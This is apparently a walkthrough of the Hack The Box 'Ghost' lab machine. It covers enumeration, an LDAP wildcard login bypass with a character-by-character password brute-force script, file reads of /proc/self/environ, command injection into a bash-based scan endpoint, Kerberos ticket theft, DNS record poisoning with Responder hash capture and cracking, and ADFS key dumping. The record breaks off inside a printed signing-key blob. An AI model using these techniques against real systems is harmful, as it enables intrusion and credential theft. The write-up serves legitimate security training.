Enumeration
Scope
IP Address: 10.10.11.24
Nmap Scan
Copy ┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ nmap -p- --min-rate 10000 $ip -Pn
PORT STATE SERVICE REASON
53/tcp open domain syn-ack
80/tcp open http syn-ack
88/tcp open kerberos-sec syn-ack
135/tcp open msrpc syn-ack
139/tcp open netbios-ssn syn-ack
443/tcp open https syn-ack
445/tcp open microsoft-ds syn-ack
464/tcp open kpasswd5 syn-ack
636/tcp open ldapssl syn-ack
1433/tcp open ms-sql-s syn-ack
2179/tcp open vmrdp syn-ack
3389/tcp open ms-wbt-server syn-ack
5985/tcp open wsman syn-ack
8008/tcp open http syn-ack
8443/tcp open https-alt syn-ack
9389/tcp open adws syn-ack
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Cascade]
└─$ sudo nmap -sU -p1-10000 --min-rate 10000 $ip -Pn
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
389/udp open ldap
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Ghost]
└─$ nmap -p53,80,135,139,443,445,1433,2179,3268,3269,3389,8008,8443,9389 $ip -sCV -oN Nmap/script-scan
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open https?
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ssl-date: 2024-07-29T21:03:47+00:00; +6s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-29T20:57:26
|_Not valid after: 2054-07-29T20:57:26
| ms-sql-info:
| 10.10.11.24:1433:
| Version:
| name: Microsoft SQL Server 2022 RC0+
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RC0
| Post-SP patches applied: true
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.10.11.24:1433:
| Target_Name: GHOST
| NetBIOS_Domain_Name: GHOST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ghost.htb
| DNS_Computer_Name: DC01.ghost.htb
| DNS_Tree_Name: ghost.htb
|_ Product_Version: 10.0.20348
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Not valid before: 2024-06-16T15:49:55
|_Not valid after: 2024-12-16T15:49:55
| rdp-ntlm-info:
| Target_Name: GHOST
| NetBIOS_Domain_Name: GHOST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ghost.htb
| DNS_Computer_Name: DC01.ghost.htb
| DNS_Tree_Name: ghost.htb
| Product_Version: 10.0.20348
|_ System_Time: 2024-07-29T21:03:05+00:00
|_ssl-date: 2024-07-29T21:03:47+00:00; +6s from scanner time.
8008/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Ghost
|_http-generator: Ghost 5.78
| http-robots.txt: 5 disallowed entries
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
8443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Ghost Core
|_Requested resource was /login
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Not valid before: 2024-06-18T15:14:02
|_Not valid after: 2124-05-25T15:14:02
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
Copy * Open ports: 53,80,135,139,443,445,1433,2179,3268,3269,3389,8008,8443,9389
* UDP open ports: 53,88,123,389
* Services: DNS - HTTP - HTTPS - HTTP-PROXY - HTTP-ALT - KERBEROS - LDAP - RDP - MSSQL - winRM
* Important notes:Domain_Name:ghost.htb DNS_Computer_Name:DC01.ghost.htb commonName=core.ghost.htb
Copy ┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Rebound]
└─$ sudo sh -c "echo '$ip DC01.ghost.htb ghost.htb core.ghost.htb DC01' >> /etc/hosts"
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Rebound]
└─$ tail -n1 /etc/hosts
10.10.11.24 DC01.ghost.htb ghost.htb core.ghost.htb
DNS Enumeration
Zone transfer failed
Copy ┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Ghost]
└─$ dig axfr ghost.htb @$ip
; <<>> DiG 9.19.19-1-Debian <<>> axfr ghost.htb @10.10.11.24
;; global options: +cmd
; Transfer failed.
RPC Enumeration
Copy ┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Rebound]
└─$ rpcclient -U '%' $ip
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomgroups
result was NT_STATUS_ACCESS_DENIED
rpcclient $> srvinfo
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
SMB Enumeration
Copy ┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Ghost]
└─$ smbclient -N -L //$ip/
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.24 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Ghost]
└─$ crackmapexec smb $ip -u '' -p '' --shares
SMB 10.10.11.24 445 DC01 [+] ghost.htb\:
SMB 10.10.11.24 445 DC01 [-] Error enumerating shares: STATUS_ACCESS_DENIED
┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/Ghost]
└─$ crackmapexec smb $ip -u 'guest' -p '' --shares
SMB 10.10.11.24 445 DC01 [-] ghost.htb\guest: STATUS_ACCOUNT_DISABLED
KERBEROS Enumeration
Copy ┌──(kali㉿kali)-[~/…/HackThebox/HTB/machines/MultiMasters]
└─$ kerbrute userenum --dc $ip -d GHOST.HTB -t 100 /usr/share/wordlists/seclists/Usernames/jsmith.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
2024/07/29 17:14:13 > Done! Tested 48705 usernames (0 valid) in 60.867 seconds
LDAP Enumeration
Copy ldapsearch -H ldap://$ip -x -b sub '*' "DC=ghost,DC=htb"
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090C78, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4f7c
HTTP Enumeration
subdomain enumeration
Copy ┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt:FUZZ -u http://ghost.htb:8008/ -H "Host: FUZZ.ghost.htb" -fs 0,7676 -c -t 100
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://ghost.htb:8008/
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.ghost.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0,7676
________________________________________________
gitea [Status: 200, Size: 13653, Words: 1050, Lines: 272, Duration: 180ms]
intranet [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 878ms]
http://10.10.11.24/
https://10.10.11.24/
http://10.10.11.24:8008/
running Ghost CMS
with version 5.78
https://10.10.11.24:8443/login
When I tried to fuzzing directories with feroxbuster
, It requests https://10.10.11.24:8443/api/login
automatically
This URL & The Login Using AD Federation
lead to this page:
https://federation.ghost.htb/adfs/ls/?SAMLRequest=<blob>
Don't forget to add federation
to hosts
files.
I don't have valid credentials for ADFS, So it's a dead end for now.
http://intranet.ghost.htb:8008/login
Looking at the authentication request, I found that the app use LDAP authentication, So I tried common bypass. username:*, password:*
It responded with invalid credentials
message when providing any ones.
Authentication is bypassed with *:*
This is the page after logging-in.
There is important note here which is that I can only login to gitea
with gitea_temp_principal
account.
There is also users
page with a list of usernames and their passwords
Make a wordlist of these users and try to find any valid domain account with them and found that they all are valid.
Copy ┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ kerbrute userenum --dc 10.10.11.24 -d ghost.htb users.list
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
2024/08/26 23:51:01 > [+] VALID USERNAME: justin.bradley@ghost.htb
2024/08/26 23:51:01 > [+] VALID USERNAME: kathryn.holland@ghost.htb
2024/08/26 23:51:01 > [+] VALID USERNAME: beth.clark@ghost.htb
2024/08/26 23:51:01 > [+] VALID USERNAME: florence.ramirez@ghost.htb
2024/08/26 23:51:01 > [+] VALID USERNAME: arthur.boyd@ghost.htb
2024/08/26 23:51:01 > [+] VALID USERNAME: cassandra.shelton@ghost.htb
2024/08/26 23:51:01 > [+] VALID USERNAME: intranet_principal@ghost.htb
2024/08/26 23:51:01 > [+] VALID USERNAME: charles.gray@ghost.htb
2024/08/26 23:51:01 > [+] VALID USERNAME: robert.steeves@ghost.htb
2024/08/26 23:51:01 > [+] VALID USERNAME: jason.taylor@ghost.htb
2024/08/26 23:51:01 > [+] VALID USERNAME: gitea_temp_principal@ghost.htb
Under Forum
, there are couples of conversations.
The most important conversation is this:
It seems like that user justin.bradley
wants to execute a script but couldn't connect to bitbucket.ghost.htb
because No DNS Entry is configured.
I went then to try logging in as gitea_temp_principal
I did know that there is a wildcard vulnerability on webapp but couldn't go any further, so with the help of community, I got a script to bruteforce the password by guessing each character one by one.
Copy import string
import requests
from pwn import *
url = 'http://intranet.ghost.htb:8008/login'
bar = log.progress("Bruteforcing password")
headers = {
'Host': 'intranet.ghost.htb:8008',
'Accept-Language': 'en-US,en;q=0.5',
'Next-Router-State-Tree': '%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D',
'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive'
}
# Formdata
files = {
'1_ldap-username': (None, 'gitea_temp_principal'),
'1_ldap-secret': (None, 's*'),
'0': (None, '[{},"$K1"]')
}
password = ""
while True:
for char in string.ascii_lowercase + string.digits:
bar.status(f"trying {char} now for the next character...")
files = {
'1_ldap-username': (None, 'gitea_temp_principal'),
'1_ldap-secret': (None, f'{password}{char}*'),
'0': (None, '[{},"$K1"]')
}
res = requests.post(url, headers=headers, files=files)
if res.status_code == 303:
password += char
print(f"The current password is {password} + *")
break
else:
break
bar.success(f"The final password is {password}")
Copy ┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ python3 brute_force.py
..snip..
[+] Bruteforcing password: The final password is szrr8kpc3z6onlqf
I used this password along with user gitea_temp_principal
to login in gitea
http://gitea.ghost.htb:8008/
After logged-in, I found these two repos.
The first repo. has exciting information
DEV_INTRANET_KEY
and it is stored as an environment variable.
posts-public.js
file, which allows us to extract additional information about the posts.
API key: a5af628828958c976a3b6cc81a
Reading posts-public.js
showed me that require()
function - which used in js
to include files - takes a fs
parameter and is passed to filecontent
variable without any validation.
Copy ..snip..
const posts = await postsService.browsePosts(options);
const extra = frame.original.query?.extra;
if (extra) {
const fs = require("fs");
if (fs.existsSync(extra)) {
const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
posts.meta.extra = { [extra]: fileContent };
}
}
return posts;
..snip..
I didn't know this is the URL
to request, So I searched in Ghost CMS
docs and found something.
Contract the URL and try to include /etc/hosts
and successfully done: )
I included /proc/self/environ
file as the repo. said to get DEV_INTRANET_KEY
Copy DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
The second repo. has also interesting information.
dev API: http://intranet.ghost.htb/api-dev
under intranet/backend/src/api/dev/scan.rs
there is an interesting code.
Copy
..snip..
// Scans an url inside a blog post
// This will be called by the blog to ensure all URLs in posts are safe
#[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
// currently intranet_url_check is not implemented,
// but the route exists for future compatibility with the blog
let result = Command::new("bash")
.arg("-c")
.arg(format!("intranet_url_check {}", data.url))
.output();
..snip..
It sends post request to /scan
and executes bash
command with argument -c
for provided URLs.
Copy bash -c 'http://anything.com'
So, I can exploit it by adding; and achieve command injection
Copy bash -c 'http://anything.com'; whoami
Requirements:
Content-Type: application/json
URL parameter in json
format
X-DEV-INTRANET-KEY
header
Shell as Root
Get reverse shell.
I landed inside a docker container and found this file in root directory /
Copy root@36b733906694:/# cat docker-entrypoint.sh
#!/bin/bash
mkdir /root/.ssh
mkdir /root/.ssh/controlmaster
printf 'Host *\n ControlMaster auto\n ControlPath ~/.ssh/controlmaster/%%r@%%h:%%p\n ControlPersist yes' > /root/.ssh/config
It's something like a configuration to connect to dev-workstation
as florence.ramierz
with SSH
Copy root@36b733906694:/# ls /root/.ssh/controlmaster/
florence.ramirez@ghost.htb@dev-workstation:22
I tried to ssh with the above command without password and it worked.
Copy root@36b733906694:~# ssh florence.ramirez@ghost.htb@dev-workstation
florence.ramirez@LINUX-DEV-WS01:~
I didn't find so much things as florence.ramirez
user but I thought as I'm in Linux domain-joined host, maybe there is keytab for ccache files somewhere.
Shell as florence.ramirez
Typing klist
showed the path of ccache file.
Copy florence.ramirez@LINUX-DEV-WS01:~$ klist
Ticket cache: FILE:/tmp/krb5cc_50
Default principal: florence.ramirez@GHOST.HTB
Valid starting Expires Service principal
08/27/24 05:48:01 08/27/24 15:48:01 krbtgt/GHOST.HTB@GHOST.HTB
renew until 08/28/24 05:48:01
Get the content of the ccache file and write them to my kali machine.
Export the ticket to KRB5CCNAME
variable and try to authenticate to the ghost machine.
Copy ┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ export KRB5CCNAME=/home/kali/HackThebox/platform/machines/Ghost/krb_50annew
┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ klist
Ticket cache: FILE:/home/kali/HackThebox/platform/machines/Ghost/krb_50annew
Default principal: florence.ramirez@GHOST.HTB
Valid starting Expires Service principal
08/27/24 01:42:01 08/27/24 11:42:01 krbtgt/GHOST.HTB@GHOST.HTB
renew until 08/28/24 01:42:01
┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ nxc smb ghost.htb -u florence.ramirez --use-kcache
SMB 10.10.11.24 445 DC01 [+] ghost.htb\florence.ramirez from ccache
Now, I have valid domain account.
I can't log-in to the machine but will continue to enumerate the system remotely.
Looking at bloodhound
, I found the following:
There are two domains not one: CORP.GHOST.HTB
& GHOST.HTB
and they trust each other as corp
is child domain and ghost.htb
is the parent.
Shell as justin.bradley
I have credentials now, So I can perform this attack to add dns record to make bitbucket.ghost.htb
point to my IP address.
Attack details:
Adding malicious DNS record.
Copy ┌──(kali㉿kali)-[/opt/krbrelayx]
└─$ ./dnstool.py -u 'ghost.htb\florence.ramirez' -k -r 'bitbucket.ghost.htb' -d '10.10.16.9' -a add dc01.ghost.htb
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
Running responder on another tab, I got a hash for user justin.bradley
Copy ┌──(kali㉿kali)-[~/HackThebox/platform/machines/Ghost]
└─$ sudo responder -I tun0
[sudo] password for kali:
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
[HTTP] NTLMv2 Client : 10.10.11.24
[HTTP] NTLMv2 Username : ghost\justin.bradley
[HTTP] NTLMv2 Hash : justin.bradley::ghost:cee979f5c5dfbb06:5A91C5F924572AFBA30967D210AE40C6:010100000000000043F229024DF8DA01189FC6D0332AE4290000000002000800350037004A00380001001E00570049004E002D005300460058004C004B0039003800570054005700310004001400350037004A0038002E004C004F00430041004C0003003400570049004E002D005300460058004C004B003900380057005400570031002E00350037004A0038002E004C004F00430041004C0005001400350037004A0038002E004C004F00430041004C00080030003000000000000000000000000040000088A9C3B8328430CFA59A2377B1CBDA19558FAAAE53917BEC9F41EF23CA0015220A001000000000000000000000000000000000000900300048005400540050002F006200690074006200750063006B00650074002E00670068006F00730074002E006800740062000000000000000000
Copy ┌──(kali㉿kali)-[/opt/krbrelayx]
└─$ hashcat -m 5600 ntlm.hash /usr/share/wordlists/rockyou.txt
JUSTIN.BRADLEY::ghost:cee979f5c5dfbb06:5a91c5f924572afba30967d210ae40c6:010100000000000043f229024df8da01189fc6d0332ae4290000000002000800350037004a00380001001e00570049004e002d005300460058004c004b0039003800570054005700310004001400350037004a0038002e004c004f00430041004c0003003400570049004e002d005300460058004c004b003900380057005400570031002e00350037004a0038002e004c004f00430041004c0005001400350037004a0038002e004c004f00430041004c00080030003000000000000000000000000040000088a9c3b8328430cfa59a2377b1cbda19558faaae53917bec9f41ef23ca0015220a001000000000000000000000000000000000000900300048005400540050002f006200690074006200750063006b00650074002e00670068006f00730074002e006800740062000000000000000000:xxxxxxxxx
Session..........: hashcat
Status...........: Cracked
I checked the ability to access the machine with that user and I can :).
Copy ┌──(kali㉿kali)-[/opt/krbrelayx]
└─$ nxc winrm ghost.htb -u justin.bradley -p 'xxxxxxxxxxxx'
WINRM 10.10.11.24 5985 DC01 [+] ghost.htb\justin.bradley:xxxxxxxxxxx (Pwn3d!)
Access the machine and get user flag.
Copy *Evil-WinRM* PS C:\Users\justin.bradley> type Desktop/user.txt
aee843877a5604ebfxxxxxxxxxxxxxxx
User Flag: aee843877a5604ebfc309xxxxxxxxxxxxxx
Shell as ADFS_CMSA$
Looking at bloodhound.py
, I can ReadGMSAPassword
of ADFS_GMSA$
user
So, I can extract GMSA
secrets and the easiest way to do this is my NetExec
ADFS_GMSA$
account CanPSRemote
to the machine, too.
ADFS account can extract ADFS secrets. Check the following post for details.
Copy *Evil-WinRM* PS C:\programdata> .\ADFSDump.exe
___ ____ ___________ ____
/ | / __ \/ ____/ ___// __ \__ ______ ___ ____
/ /| | / / / / /_ \__ \/ / / / / / / __ `__ \/ __ \
/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / / / / / / /_/ /
/_/ |_/_____/_/ /____/_____/\__,_/_/ /_/ /_/ .___/
/_/
Created by @doughsec
## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1
## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
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